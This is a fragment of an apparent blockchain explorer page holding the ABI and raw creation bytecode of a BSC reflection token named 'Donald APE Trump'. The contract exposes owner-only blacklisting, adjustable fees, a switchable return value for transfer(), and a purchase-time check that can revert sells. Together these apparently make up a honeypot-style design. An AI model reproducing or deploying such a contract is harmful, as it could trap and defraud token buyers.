uts":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"theRedistribution","type":"uint256"}],"name":"setTheRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526100106009600a610809565b61001e90633b9aca0061081e565b600c819055600d555f600e81905561012c600f55604080516080808201835283825260208083018590528284018590526060928301859052601785905560188590556019859055601a85905583519182018452848252810184905291820183905201819052601b819055601c819055601d819055601e55602480546001600160a01b031916735b68aaa8252880f939c234473b0b73045472b62517905560258054630101000160a01b63ffff00ff60a01b199091161790553480156100e1575f80fd5b5060405161331e38038061331e83398101604081905261010091610835565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d5460035f6101575f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561017981610661565b600160065f61018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260068552838220805487166001908117909155602554841683528483208054881682179055602454909316825283822080548716841790557f05e9e8f37a38a5d75c0a51895f19685e045c8c526c048adf9dc1fa6bdf20470e80548716841790557fa168dac408620b357c968c8cb49f270db577f8ba818d0914aaea7e7c39bad32180548716841790557f26953fe75fcf9e0152f0f9a0634ef73ccaa4a6a74c3338a3fb79123667f366e580548716841790557f9c74b3f8d41ad71ff70bb85a4c8b21d64c9dde9db915a160e655289f12d890fb80548716841790557fea43d3875d6c5bff38935cbf9ccc93a46ac477250dca4a05744fcc82c01445c880548716841790557fbec662f8f166bedc7a70ae0f6d3c8ed83e65a2b450c24abd854c9a2afee9ef7180548716841790557f148e06371f04b3ec76e1c136c01c18b5c88f8603bcdf59d62ab0dbcb5d6642b980548716841790557f1c4ebc6e64b95dbb8ae7da6055a8bb90fb8609ecda0337707ab7ac19876d157580548716841790557f21c9b53cc49baed1fa3abf9dcfc287a31f384b53a2e4a13cdd1fc1889f8ac2d380548716841790557fec6118d1cd31c06c292e8a486e3e22e55ef87e75ba8c5571b42254d8c93d418080548716841790557fa2fee7527e7f70ad9e826169678e5d62e28640515f27e00d4cc2a979f1b252c480548716841790557fb05b7bb1815794d330446b995434bbb08ad1e2a415ee7f1004385c5097270b2a80548716841790557f4135c76a75612e7eb64d4bfec0931070ccd4058678ada1ab5cb598053bbffe6680548716841790557fc5d2e76032a3314e2f67d79270dcb64285e239ac33c49c18fe8207c59ac00ee180548716841790557f015cc045cb4a37d62c19f0332d2d05594d52e8494ea7a3cde57b7a1b1e13817b80548716841790557fdf3677b690e043768cd88187d1593fced46bce34d494e4576685ed6fdbebe8b380548716841790557fc73252f9d86bf71343a9a3ce44c62b2b60decbfec14aca886f12aab41384082980548716841790557f33d00dd04875463d36874e8bf5972e4f0d72a79cc97ca761784858b1e27c87e080548716841790557f3d3f9c67d1d94737c70fbf06942aa8014e2e10768051a118a17043a3f661c88b80548716841790557feb6bdf386fb031dd1d5bcfdcd0d5c2fd832c51845300db82ef2c39e9f3aabf1680548716841790557ff5a82616969415996f65032c8cd53d6dc5499ae3b79aa6aef817e70710504aea80548716841790557fa70f8c1ff0aba8446810aab571caa2d5a974e3e066e2b8cad58c13eac62d287080548716841790557fc21c60f4c11b0927686f5ac10099db414f818f67e31b771cfd808ac0aef503b98054871684179055808252600790945291822080549094168117909355600b8054938401815590527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db990910180546001600160a01b031916909117905561060d5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405161065391815260200190565b60405180910390a35061086e565b602580546001600160a01b0319166001600160a01b0383161790556106886009600a610809565b610698906509184e72a00061081e565b6001600160a01b0382165f90815260036020526040812080549091906106bf90849061085b565b909155506106d190506009600a610809565b6106e1906509184e72a00061081e565b6001600160a01b0382165f908152600460205260408120805490919061070890849061085b565b909155505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561075f5780850481111561074357610743610710565b600184161561075157908102905b60019390931c928002610728565b935093915050565b5f8261077557506001610803565b8161078157505f610803565b816001811461079757600281146107a1576107bd565b6001915050610803565b60ff8411156107b2576107b2610710565b50506001821b610803565b5060208310610133831016604e8410600b84101617156107e0575081810a610803565b6107ec5f198484610724565b805f19048211156107ff576107ff610710565b0290505b92915050565b5f61081760ff841683610767565b9392505050565b808202811582820484141761080357610803610710565b5f60208284031215610845575f80fd5b81516001600160a01b0381168114610817575f80fd5b8082018082111561080357610803610710565b612aa38061087b5f395ff3fe6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109dd578063f6d7eade146109fc578063f921400514610a1b578063ff89757014610a3a575f80fd5b8063ea2f0b3714610974578063ecbde40c14610993578063efbe389a146109be575f80fd5b8063bc0ad5a31461087f578063c2b7bbb61461089f578063c49b9a80146108be578063dd62ed3e146108dd578063e2255e2914610921578063e7e6451914610940575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107f7578063a457c2d714610816578063a8be9a5814610835578063a9059cbb14610860575f80fd5b806395d89b41146107955780639b26c923146107c05780639ba5e4d5146107d5575f80fd5b8063715018a6146106aa57806373cafdc2146106be578063786564c4146106e057806388f82020146106ff5780638b7afe2e146107365780638da5cb5b14610765575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105f35780635a1afc561461062a57806370a0823114610649578063713898cd14610668575f80fd5b80634a74bb021461059557806351ecfeae146105b557806352390c02146105d4575f80fd5b80633ccfd60b146104d15780634359a871146104e5578063437823ec146105195780634549b039146105385780634a17beb1146105575780634a49ac4c14610576575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc146104555780633685d41914610474578063370f0a601461049357806339509351146104b2575f80fd5b80632d83811914610406578063313ce5671461042557806331b72ff014610440575f80fd5b806306fdde0314610301578063095ea7b31461034b57806318160ddd1461037a5780631cdd3be31461039857806323b872dd146103c6578063275d53ce146103e5575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b5060408051808201909152601081526f0446f6e616c6420415045205472756d760841b60208201525b6040516103429190612725565b60405180910390f35b348015610356575f80fd5b5061036a610365366004612775565b610a59565b6040519015158152602001610342565b348015610385575f80fd5b50600c545b604051908152602001610342565b3480156103a3575f80fd5b5061036a6103b236600461279d565b600a6020525f908152604090205460ff1681565b3480156103d1575f80fd5b5061036a6103e03660046127b6565b610a6f565b3480156103f0575f80fd5b506104046103ff3660046127ff565b610ae2565b005b348015610411575f80fd5b5061038a610420366004612818565b610b32565b348015610430575f80fd5b5060405160098152602001610342565b34801561044b575f80fd5b5061038a600f5481565b348015610460575f80fd5b5061040461046f366004612818565b610b9c565b34801561047f575f80fd5b5061040461048e36600461279d565b610bca565b34801561049e575f80fd5b506104046104ad36600461279d565b610d6e565b3480156104bd575f80fd5b5061036a6104cc366004612775565b610e9c565b3480156104dc575f80fd5b50610404610ed2565b3480156104f0575f80fd5b5061038a6104ff36600461279d565b6001600160a01b03165f9081526008602052604090205490565b348015610524575f80fd5b5061040461053336600461279d565b610f27565b348015610543575f80fd5b5061038a61055236600461282f565b610f73565b348015610562575f80fd5b50610404610571366004612859565b610ffa565b348015610581575f80fd5b5061040461059036600461279d565b61108d565b3480156105a0575f80fd5b5060255461036a90600160b81b900460ff1681565b3480156105c0575f80fd5b506104046105cf3660046128ca565b6110d6565b3480156105df575f80fd5b506104046105ee36600461279d565b611113565b3480156105fe575f80fd5b5061036a61060d36600461279d565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610635575f80fd5b50610404610644366004612818565b611260565b348015610654575f80fd5b5061038a61066336600461279d565b61128e565b348015610673575f80fd5b50601b54601c54601d54601e5461068a9392919084565b604080519485526020850193909352918301526060820152608001610342565b3480156106b5575f80fd5b506104046112e4565b3480156106c9575f80fd5b50601754601854601954601a5461068a9392919084565b3480156106eb575f80fd5b506104046106fa3660046128ca565b611355565b34801561070a575f80fd5b5061036a61071936600461279d565b6001600160a01b03165f9081526007602052604090205460ff1690565b348015610741575f80fd5b50601554601654610750919082565b60408051928352602083019190915201610342565b348015610770575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610342565b3480156107a0575f80fd5b5060408051808201909152600381526211105560ea1b6020820152610335565b3480156107cb575f80fd5b5061038a600e5481565b3480156107e0575f80fd5b5060115460125460135460145461068a9392919084565b348015610802575f80fd5b5061036a6108113660046128f9565b611392565b348015610821575f80fd5b5061036a610830366004612775565b611401565b348015610840575f80fd5b5061038a61084f36600461279d565b60086020525f908152604090205481565b34801561086b575f80fd5b5061036a61087a366004612775565b61144e565b34801561088a575f80fd5b5060255461036a90600160a01b900460ff1681565b3480156108aa575f80fd5b506104046108b936600461279d565b61146e565b3480156108c9575f80fd5b506104046108d83660046127ff565b611529565b3480156108e8575f80fd5b5061038a6108f736600461292b565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561092c575f80fd5b5061040461093b3660046127ff565b6115aa565b34801561094b575f80fd5b5061038a61095a36600461279d565b6001600160a01b03165f9081526009602052604090205490565b34801561097f575f80fd5b5061040461098e36600461279d565b6115f1565b34801561099e575f80fd5b5061038a6109ad36600461279d565b60096020525f908152604090205481565b3480156109c9575f80fd5b5060235461077d906001600160a01b031681565b3480156109e8575f80fd5b506104046109f736600461279d565b61163a565b348015610a07575f80fd5b5060245461077d906001600160a01b031681565b348015610a26575f80fd5b5060105461077d906001600160a01b031681565b348015610a45575f80fd5b50610404610a54366004612859565b611721565b5f610a653384846117af565b5060015b92915050565b5f610a7b8484846118d2565b610acc8433610ac785604051806060016040528060288152602001612a21602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b43565b6117af565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610b145760405162461bcd60e51b8152600401610b0b90612953565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b985760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610b0b565b5090565b5f546001600160a01b03163314610bc55760405162461bcd60e51b8152600401610b0b90612953565b600f55565b5f546001600160a01b03163314610bf35760405162461bcd60e51b8152600401610b0b90612953565b6001600160a01b0381165f9081526007602052604090205460ff16610c5a5760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610b0b565b5f5b600b54811015610d6a57816001600160a01b0316600b8281548110610c8357610c83612988565b5f918252602090912001546001600160a01b031603610d6257600b8054610cac906001906129b0565b81548110610cbc57610cbc612988565b5f91825260209091200154600b80546001600160a01b039092169183908110610ce757610ce7612988565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d3e57610d3e6129c3565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c5c565b5050565b5f546001600160a01b03163314610d975760405162461bcd60e51b8152600401610b0b90612953565b6001600160a01b0381165f9081526007602052604090205460ff16610e6d576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610e22576001600160a01b0381165f90815260036020526040902054610e0990610b32565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d6a9082611b6e565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a65918590610ac79086906129d7565b5f546001600160a01b03163314610efb5760405162461bcd60e51b8152600401610b0b90612953565b6040514790339082156108fc029083905f818181858888f19350505050158015610d6a573d5f803e3d5ffd5b5f546001600160a01b03163314610f505760405162461bcd60e51b8152600401610b0b90612953565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610fc65760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610b0b565b81610fe1575f610fd7846001611b82565b519150610a699050565b5f610fed846001611b82565b602001519150610a699050565b5f546001600160a01b031633146110235760405162461bcd60e51b8152600401610b0b90612953565b5f5b8181101561108857600160065f85858581811061104457611044612988565b9050602002016020810190611059919061279d565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611025565b505050565b5f546001600160a01b031633146110b65760405162461bcd60e51b8152600401610b0b90612953565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146110ff5760405162461bcd60e51b8152600401610b0b90612953565b601793909355601891909155601955601a55565b5f546001600160a01b0316331461113c5760405162461bcd60e51b8152600401610b0b90612953565b6001600160a01b0381165f9081526007602052604090205460ff16156111a45760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b0b565b6001600160a01b0381165f90815260036020526040902054156111fb576001600160a01b0381165f908152600360205260409020546111e290610b32565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112895760405162461bcd60e51b8152600401610b0b90612953565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff16156112c957506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b0316331461130d5760405162461bcd60e51b8152600401610b0b90612953565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461137e5760405162461bcd60e51b8152600401610b0b90612953565b601b93909355601c91909155601d55601e55565b5f835f036113a157505f610adb565b5f6113ac85426129b0565b9050600f5481036113c1576001915050610adb565b805f036113e6576010546001600160a01b038481169116146113e6575f915050610adb565b8381116113f7576001915050610adb565b505f949350505050565b5f610a653384610ac785604051806060016040528060258152602001612a4960259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b43565b5f61145a3384846118d2565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114975760405162461bcd60e51b8152600401610b0b90612953565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b031633146115525760405162461bcd60e51b8152600401610b0b90612953565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061159f90831515815260200190565b60405180910390a150565b5f546001600160a01b031633146115d35760405162461bcd60e51b8152600401610b0b90612953565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b0316331461161a5760405162461bcd60e51b8152600401610b0b90612953565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b031633146116635760405162461bcd60e51b8152600401610b0b90612953565b6001600160a01b0381166116c85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b0b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461174a5760405162461bcd60e51b8152600401610b0b90612953565b5f5b81811015611088576001600a5f85858581811061176b5761176b612988565b9050602002016020810190611780919061279d565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905560010161174c565b6001600160a01b0383166118115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b0b565b6001600160a01b0382166118725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b0b565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561191257506001600160a01b0382165f908152600a602052604090205460ff16155b61195e5760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610b0b565b6001600160a01b0383166119c25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b0b565b6001600160a01b038216611a245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b0b565b5f8111611a855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b0b565b611a8e8361128e565b811115611af65760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610b0b565b6001600160a01b0383165f908152600660205260409020546110889084908490849060ff1680611b3d57506001600160a01b0386165f9081526006602052604090205460ff165b15611bca565b5f8184841115611b665760405162461bcd60e51b8152600401610b0b9190612725565b505050900390565b5f610adb836001600160a01b038416612178565b611b8a6126d6565b611b94838361225b565b9050611ba9818484611ba4612339565b61235a565b60a08701526080860152606085015260408401526020830152815292915050565b8015611d91576023546001600160a01b0390811690851603611c9c575f546001600160a01b03858116911614801590611c1057505f546001600160a01b03848116911614155b8015611c2657506001600160a01b038316600114155b15611c64576001600160a01b0383165f908152600860205260408120549003611c64576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611e09565b5f546001600160a01b03858116911614801590611cc657505f546001600160a01b03848116911614155b8015611cdc57506001600160a01b038316600114155b15611d59576001600160a01b0384165f90815260086020526040812054611d0690600e5487611392565b905080611d3d5760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610b0b565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611e09565b6001600160a01b0384165f9081526006602052604090205460ff1615611dcd57601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611e0957601080546001600160a01b0319166001600160a01b0385161790555b5f611e148383611b82565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e5657506001600160a01b0384165f9081526007602052604090205460ff16155b15611e9b576001600160a01b0385165f90815260046020526040902054611e7e9084906129b0565b6001600160a01b0386165f90815260046020526040902055611fd8565b6001600160a01b0385165f9081526007602052604090205460ff16158015611eda57506001600160a01b0384165f9081526007602052604090205460ff165b15611f235760c08101516001600160a01b0385165f90815260046020526040902054611f0691906129d7565b6001600160a01b0385165f90815260046020526040902055611fd8565b6001600160a01b0385165f9081526007602052604090205460ff168015611f6157506001600160a01b0384165f9081526007602052604090205460ff165b15611fd8576001600160a01b0385165f90815260046020526040902054611f899084906129b0565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611fbf91906129d7565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611ffc91906129b0565b6001600160a01b038087165f908152600360209081526040808320949094558401519187168152919091205461203291906129d7565b6001600160a01b0385165f9081526003602052604090205581156120f85761206281604001518260e001516123d1565b61207581606001518261010001516123ff565b612088816080015182610120015161249a565b61209b8160a001518261014001516124c7565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120e691906129d7565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161214191815260200190565b60405180910390a3612154600185612506565b5061215e8561128e565b5f036121715761216f600186611b6e565b505b5050505050565b5f8181526001830160205260408120548015612252575f61219a6001836129b0565b85549091505f906121ad906001906129b0565b905081811461220c575f865f0182815481106121cb576121cb612988565b905f5260205f200154905080875f0184815481106121eb576121eb612988565b5f918252602080832090910192909255918252600188019052604090208390555b855486908061221d5761221d6129c3565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a69565b5f915050610a69565b6122636126d6565b816122745760c08101839052610a69565b601f5460649061228490856129ea565b61228e9190612a01565b60e08201526020546064906122a390856129ea565b6122ad9190612a01565b6101008201526021546064906122c390856129ea565b6122cd9190612a01565b6101208201526022546064906122e390856129ea565b6122ed9190612a01565b610140820181905261012082015161010083015160e084015161231090876129b0565b61231a91906129b0565b61232491906129b0565b61232e91906129b0565b60c082015292915050565b5f805f61234461251a565b90925090506123538183612a01565b9250505090565b506001825f808080808761237b57508493505f9250829150819050806123c4565b5050505060e08601516101008701516101208801516101408901518082846123a3878a6129b0565b6123ad91906129b0565b6123b791906129b0565b6123c191906129b0565b94505b9499939850945094509450565b81600d546123df91906129b0565b600d55601180548291905f906123f69084906129d7565b90915550505050565b8060155f015f82825461241291906129d7565b9091555050601280548291905f9061242b9084906129d7565b9091555050305f9081526003602052604090205461244a9083906129d7565b305f9081526003602090815260408083209390935560079052205460ff1615610d6a57305f908152600460205260409020546124879082906129d7565b305f908152600460205260409020555050565b8060156001015f8282546124ae91906129d7565b9091555050601380548291905f9061242b9084906129d7565b8060116003015f8282546124db91906129d7565b9091555050600c546124ee9082906129b0565b600c55600d546124ff9083906129b0565b600d555050565b5f610adb836001600160a01b03841661268a565b600d54600c545f918291825b600b54811015612659578260035f600b848154811061254757612547612988565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806125af57508160045f600b848154811061258957612589612988565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156125c557600d54600c54945094505050509091565b60035f600b83815481106125db576125db612988565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461260990846129b0565b925060045f600b838154811061262157612621612988565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461264f90836129b0565b9150600101612526565b50600c54600d5461266a9190612a01565b82101561268157600d54600c549350935050509091565b90939092509050565b5f8181526001830160205260408120546126cf57508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a69565b505f610a69565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114612770575f80fd5b919050565b5f8060408385031215612786575f80fd5b61278f8361275a565b946020939093013593505050565b5f602082840312156127ad575f80fd5b610adb8261275a565b5f805f606084860312156127c8575f80fd5b6127d18461275a565b92506127df6020850161275a565b929592945050506040919091013590565b80358015158114612770575f80fd5b5f6020828403121561280f575f80fd5b610adb826127f0565b5f60208284031215612828575f80fd5b5035919050565b5f8060408385031215612840575f80fd5b82359150612850602084016127f0565b90509250929050565b5f806020838503121561286a575f80fd5b823567ffffffffffffffff811115612880575f80fd5b8301601f81018513612890575f80fd5b803567ffffffffffffffff8111156128a6575f80fd5b8560208260051b84010111156128ba575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128dd575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f6060848603121561290b575f80fd5b83359250602084013591506129226040850161275a565b90509250925092565b5f806040838503121561293c575f80fd5b6129458361275a565b91506128506020840161275a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a6957610a6961299c565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a6957610a6961299c565b8082028115828204841417610a6957610a6961299c565b5f82612a1b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122030b0755b0bde66bfedabe5745962382ad21070cdea21deb35d7669b29070763a64736f6c634300081a0033000000000000000000000000a20f0c833b86abb054629db481569116facaa3e5

Deployed Bytecode

